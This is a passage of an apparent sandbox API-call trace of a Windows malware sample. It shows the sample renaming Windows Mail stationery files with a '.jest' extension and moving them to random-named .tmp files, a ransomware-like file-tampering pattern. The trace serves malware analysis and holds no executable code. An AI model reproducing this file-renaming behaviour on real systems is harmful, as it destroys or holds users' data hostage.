clPkpZKo8v2X3SzQJzQT5d5AWUIi-tVD7nec6xw12agcd3lz J L3aQGQw516pJn5jTbudczTYpJLurEIg5PXHQ2uDt1q.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LTu-M2o clPkpZKo8v2X3SzQJzQT5d5AWUIi-tVD7nec6xw12agcd3lz J L3aQGQw516pJn5jTbudczTYpJLurEIg5PXHQ2uDt1q.tmp", lpFilePart=0x18e6e4*="LTu-M2o clPkpZKo8v2X3SzQJzQT5d5AWUIi-tVD7nec6xw12agcd3lz J L3aQGQw516pJn5jTbudczTYpJLurEIg5PXHQ2uDt1q.tmp") returned 0x8f [0128.566] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LTu-M2o clPkpZKo8v2X3SzQJzQT5d5AWUIi-tVD7nec6xw12agcd3lz J L3aQGQw516pJn5jTbudczTYpJLurEIg5PXHQ2uDt1q.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x2d75544c, cFileName="M2o clPkpZKo8v2X3SzQJzQT5d5AWUIi-tVD7nec6xw12agcd3lz J L3aQGQw516pJn5jTbudczTYpJLurEIg5PXHQ2uDt1q.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.566] GetLastError () returned 0x2 [0128.566] GetLastError () returned 0x2 [0128.566] SetLastError (dwErrCode=0x2) [0128.567] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.567] CoFreeUnusedLibraries () [0128.567] GetTickCount () returned 0x1152914 [0128.567] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.567] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.567] GetTickCount () returned 0x1152914 [0128.567] IsWindowVisible (hWnd=0x30268) returned 0 [0128.567] Sleep (dwMilliseconds=0x0) [0128.568] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.jest")) returned 1 [0128.603] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", lpFilePart=0x18e6d8*="Peacock.htm") returned 0x59 [0128.603] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xe0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.604] GetLastError () returned 0x2 [0128.604] VarBstrFromR4 (in: fltIn=0x47944639, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.45") returned 0x0 [0128.604] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.604] CoFreeUnusedLibraries () [0128.604] GetTickCount () returned 0x1152943 [0128.604] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.604] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.604] GetTickCount () returned 0x1152943 [0128.604] IsWindowVisible (hWnd=0x30268) returned 0 [0128.605] Sleep (dwMilliseconds=0x0) [0128.605] GetFullPathNameA (in: lpFileName="y-U2L-8covyHhcu6Nq-Hw D0fGJVTwIlGWiE1hJDZgsRElaVEXJsV8uxMRTsW pJ wivvgvOm3i_Vpr_yX VACXtVHmoIVkd2uf.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-U2L-8covyHhcu6Nq-Hw D0fGJVTwIlGWiE1hJDZgsRElaVEXJsV8uxMRTsW pJ wivvgvOm3i_Vpr_yX VACXtVHmoIVkd2uf.tmp", lpFilePart=0x18e708*="y-U2L-8covyHhcu6Nq-Hw D0fGJVTwIlGWiE1hJDZgsRElaVEXJsV8uxMRTsW pJ wivvgvOm3i_Vpr_yX VACXtVHmoIVkd2uf.tmp") returned 0x8d [0128.605] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", lpFilePart=0x18e708*="Peacock.htm") returned 0x59 [0128.605] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-U2L-8covyHhcu6Nq-Hw D0fGJVTwIlGWiE1hJDZgsRElaVEXJsV8uxMRTsW pJ wivvgvOm3i_Vpr_yX VACXtVHmoIVkd2uf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y-u2l-8covyhhcu6nq-hw d0fgjvtwilgwie1hjdzgsrelavexjsv8uxmrtsw pj wivvgvom3i_vpr_yx vacxtvhmoivkd2uf.tmp")) returned 0 [0128.606] GetLastError () returned 0x2 [0128.606] GetLastError () returned 0x2 [0128.606] SetLastError (dwErrCode=0x2) [0128.606] GetLastError () returned 0x2 [0128.606] SetLastError (dwErrCode=0x2) [0128.606] GetLastError () returned 0x2 [0128.606] SetLastError (dwErrCode=0x2) [0128.606] GetFullPathNameA (in: lpFileName="y-U2L-8covyHhcu6Nq-Hw D0fGJVTwIlGWiE1hJDZgsRElaVEXJsV8uxMRTsW pJ wivvgvOm3i_Vpr_yX VACXtVHmoIVkd2uf.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-U2L-8covyHhcu6Nq-Hw D0fGJVTwIlGWiE1hJDZgsRElaVEXJsV8uxMRTsW pJ wivvgvOm3i_Vpr_yX VACXtVHmoIVkd2uf.tmp", lpFilePart=0x18e6e4*="y-U2L-8covyHhcu6Nq-Hw D0fGJVTwIlGWiE1hJDZgsRElaVEXJsV8uxMRTsW pJ wivvgvOm3i_Vpr_yX VACXtVHmoIVkd2uf.tmp") returned 0x8d [0128.606] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-U2L-8covyHhcu6Nq-Hw D0fGJVTwIlGWiE1hJDZgsRElaVEXJsV8uxMRTsW pJ wivvgvOm3i_Vpr_yX VACXtVHmoIVkd2uf.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x32552d79, cFileName="L-8covyHhcu6Nq-Hw D0fGJVTwIlGWiE1hJDZgsRElaVEXJsV8uxMRTsW pJ wivvgvOm3i_Vpr_yX VACXtVHmoIVkd2uf.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.606] GetLastError () returned 0x2 [0128.606] GetLastError () returned 0x2 [0128.606] SetLastError (dwErrCode=0x2) [0128.607] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.607] CoFreeUnusedLibraries () [0128.607] GetTickCount () returned 0x1152943 [0128.607] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.607] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.607] GetTickCount () returned 0x1152943 [0128.607] IsWindowVisible (hWnd=0x30268) returned 0 [0128.607] Sleep (dwMilliseconds=0x0) [0128.608] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.jest")) returned 1 [0128.608] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", lpFilePart=0x18e6d8*="OrangeCircles.jpg") returned 0x5f [0128.609] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.609] GetLastError () returned 0x2 [0128.609] VarBstrFromR4 (in: fltIn=0x47944639, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.45") returned 0x0 [0128.609] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.609] CoFreeUnusedLibraries () [0128.609] GetTickCount () returned 0x1152943 [0128.609] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.609] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.609] GetTickCount () returned 0x1152943 [0128.609] IsWindowVisible (hWnd=0x30268) returned 0 [0128.609] Sleep (dwMilliseconds=0x0) [0128.610] GetFullPathNameA (in: lpFileName="j3lsAbSJdP1RrHWyJQ9CSZyK33rcP2cjwZRT4pR5xKjza0qRN 20CBfTQ88vJs0ftCuux4VhMnSogMLO-w3ZbyG-5piiHHiCUZ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j3lsAbSJdP1RrHWyJQ9CSZyK33rcP2cjwZRT4pR5xKjza0qRN 20CBfTQ88vJs0ftCuux4VhMnSogMLO-w3ZbyG-5piiHHiCUZ.tmp", lpFilePart=0x18e708*="j3lsAbSJdP1RrHWyJQ9CSZyK33rcP2cjwZRT4pR5xKjza0qRN 20CBfTQ88vJs0ftCuux4VhMnSogMLO-w3ZbyG-5piiHHiCUZ.tmp") returned 0x8c [0128.610] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", lpFilePart=0x18e708*="OrangeCircles.jpg") returned 0x5f [0128.610] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j3lsAbSJdP1RrHWyJQ9CSZyK33rcP2cjwZRT4pR5xKjza0qRN 20CBfTQ88vJs0ftCuux4VhMnSogMLO-w3ZbyG-5piiHHiCUZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j3lsabsjdp1rrhwyjq9cszyk33rcp2cjwzrt4pr5xkjza0qrn 20cbftq88vjs0ftcuux4vhmnsogmlo-w3zbyg-5piihhicuz.tmp")) returned 0 [0128.610] GetLastError () returned 0x2 [0128.610] GetLastError () returned 0x2 [0128.610] SetLastError (dwErrCode=0x2) [0128.610] GetLastError () returned 0x2 [0128.611] SetLastError (dwErrCode=0x2) [0128.611] GetLastError () returned 0x2 [0128.611] SetLastError (dwErrCode=0x2) [0128.611] GetFullPathNameA (in: lpFileName="j3lsAbSJdP1RrHWyJQ9CSZyK33rcP2cjwZRT4pR5xKjza0qRN 20CBfTQ88vJs0ftCuux4VhMnSogMLO-w3ZbyG-5piiHHiCUZ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j3lsAbSJdP1RrHWyJQ9CSZyK33rcP2cjwZRT4pR5xKjza0qRN 20CBfTQ88vJs0ftCuux4VhMnSogMLO-w3ZbyG-5piiHHiCUZ.tmp", lpFilePart=0x18e6e4*="j3lsAbSJdP1RrHWyJQ9CSZyK33rcP2cjwZRT4pR5xKjza0qRN 20CBfTQ88vJs0ftCuux4VhMnSogMLO-w3ZbyG-5piiHHiCUZ.tmp") returned 0x8c [0128.611] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j3lsAbSJdP1RrHWyJQ9CSZyK33rcP2cjwZRT4pR5xKjza0qRN 20CBfTQ88vJs0ftCuux4VhMnSogMLO-w3ZbyG-5piiHHiCUZ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x736c336a, cFileName="AbSJdP1RrHWyJQ9CSZyK33rcP2cjwZRT4pR5xKjza0qRN 20CBfTQ88vJs0ftCuux4VhMnSogMLO-w3ZbyG-5piiHHiCUZ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.611] GetLastError () returned 0x2 [0128.611] GetLastError () returned 0x2 [0128.611] SetLastError (dwErrCode=0x2) [0128.611] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.611] CoFreeUnusedLibraries () [0128.611] GetTickCount () returned 0x1152943 [0128.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.612] GetTickCount () returned 0x1152943 [0128.612] IsWindowVisible (hWnd=0x30268) returned 0 [0128.612] Sleep (dwMilliseconds=0x0) [0128.615] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.jest")) returned 1 [0128.616] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", lpFilePart=0x18e6d8*="HandPrints.jpg") returned 0x5c [0128.616] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.616] GetLastError () returned 0x2 [0128.616] VarBstrFromR4 (in: fltIn=0x4794463b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.46") returned 0x0 [0128.617] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.617] CoFreeUnusedLibraries () [0128.617] GetTickCount () returned 0x1152952 [0128.617] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.617] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.617] GetTickCount () returned 0x1152952 [0128.617] IsWindowVisible (hWnd=0x30268) returned 0 [0128.617] Sleep (dwMilliseconds=0x0) [0128.617] GetFullPathNameA (in: lpFileName="mmOq2H3RxOlyGRdHH0J_a-bt3XS7cdS4RwuxGNBhHg3uvkXF68BLRTMKoNs5CFZ6B4MSbRe0vQA1vwi9tclgeR AIT5go6PJCo.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mmOq2H3RxOlyGRdHH0J_a-bt3XS7cdS4RwuxGNBhHg3uvkXF68BLRTMKoNs5CFZ6B4MSbRe0vQA1vwi9tclgeR AIT5go6PJCo.tmp", lpFilePart=0x18e708*="mmOq2H3RxOlyGRdHH0J_a-bt3XS7cdS4RwuxGNBhHg3uvkXF68BLRTMKoNs5CFZ6B4MSbRe0vQA1vwi9tclgeR AIT5go6PJCo.tmp") returned 0x8c [0128.618] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", lpFilePart=0x18e708*="HandPrints.jpg") returned 0x5c [0128.618] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mmOq2H3RxOlyGRdHH0J_a-bt3XS7cdS4RwuxGNBhHg3uvkXF68BLRTMKoNs5CFZ6B4MSbRe0vQA1vwi9tclgeR AIT5go6PJCo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mmoq2h3rxolygrdhh0j_a-bt3xs7cds4rwuxgnbhhg3uvkxf68blrtmkons5cfz6b4msbre0vqa1vwi9tclger ait5go6pjco.tmp")) returned 0 [0128.618] GetLastError () returned 0x2 [0128.618] GetLastError () returned 0x2 [0128.618] SetLastError (dwErrCode=0x2) [0128.618] GetLastError () returned 0x2 [0128.618] SetLastError (dwErrCode=0x2) [0128.618] GetLastError () returned 0x2 [0128.618] SetLastError (dwErrCode=0x2) [0128.618] GetFullPathNameA (in: lpFileName="mmOq2H3RxOlyGRdHH0J_a-bt3XS7cdS4RwuxGNBhHg3uvkXF68BLRTMKoNs5CFZ6B4MSbRe0vQA1vwi9tclgeR AIT5go6PJCo.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mmOq2H3RxOlyGRdHH0J_a-bt3XS7cdS4RwuxGNBhHg3uvkXF68BLRTMKoNs5CFZ6B4MSbRe0vQA1vwi9tclgeR AIT5go6PJCo.tmp", lpFilePart=0x18e6e4*="mmOq2H3RxOlyGRdHH0J_a-bt3XS7cdS4RwuxGNBhHg3uvkXF68BLRTMKoNs5CFZ6B4MSbRe0vQA1vwi9tclgeR AIT5go6PJCo.tmp") returned 0x8c [0128.618] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mmOq2H3RxOlyGRdHH0J_a-bt3XS7cdS4RwuxGNBhHg3uvkXF68BLRTMKoNs5CFZ6B4MSbRe0vQA1vwi9tclgeR AIT5go6PJCo.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x714f6d6d, cFileName="2H3RxOlyGRdHH0J_a-bt3XS7cdS4RwuxGNBhHg3uvkXF68BLRTMKoNs5CFZ6B4MSbRe0vQA1vwi9tclgeR AIT5go6PJCo.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.618] GetLastError () returned 0x2 [0128.618] GetLastError () returned 0x2 [0128.618] SetLastError (dwErrCode=0x2) [0128.619] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.619] CoFreeUnusedLibraries () [0128.619] GetTickCount () returned 0x1152952 [0128.619] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.619] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.619] GetTickCount () returned 0x1152952 [0128.619] IsWindowVisible (hWnd=0x30268) returned 0 [0128.619] Sleep (dwMilliseconds=0x0) [0128.620] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.jest")) returned 1 [0128.621] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", lpFilePart=0x18e6d8*="GreenBubbles.jpg") returned 0x5e [0128.621] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.621] GetLastError () returned 0x2 [0128.621] VarBstrFromR4 (in: fltIn=0x4794463b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.46") returned 0x0 [0128.622] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.622] CoFreeUnusedLibraries () [0128.622] GetTickCount () returned 0x1152952 [0128.622] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.622] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.622] GetTickCount () returned 0x1152952 [0128.622] IsWindowVisible (hWnd=0x30268) returned 0 [0128.622] Sleep (dwMilliseconds=0x0) [0128.622] GetFullPathNameA (in: 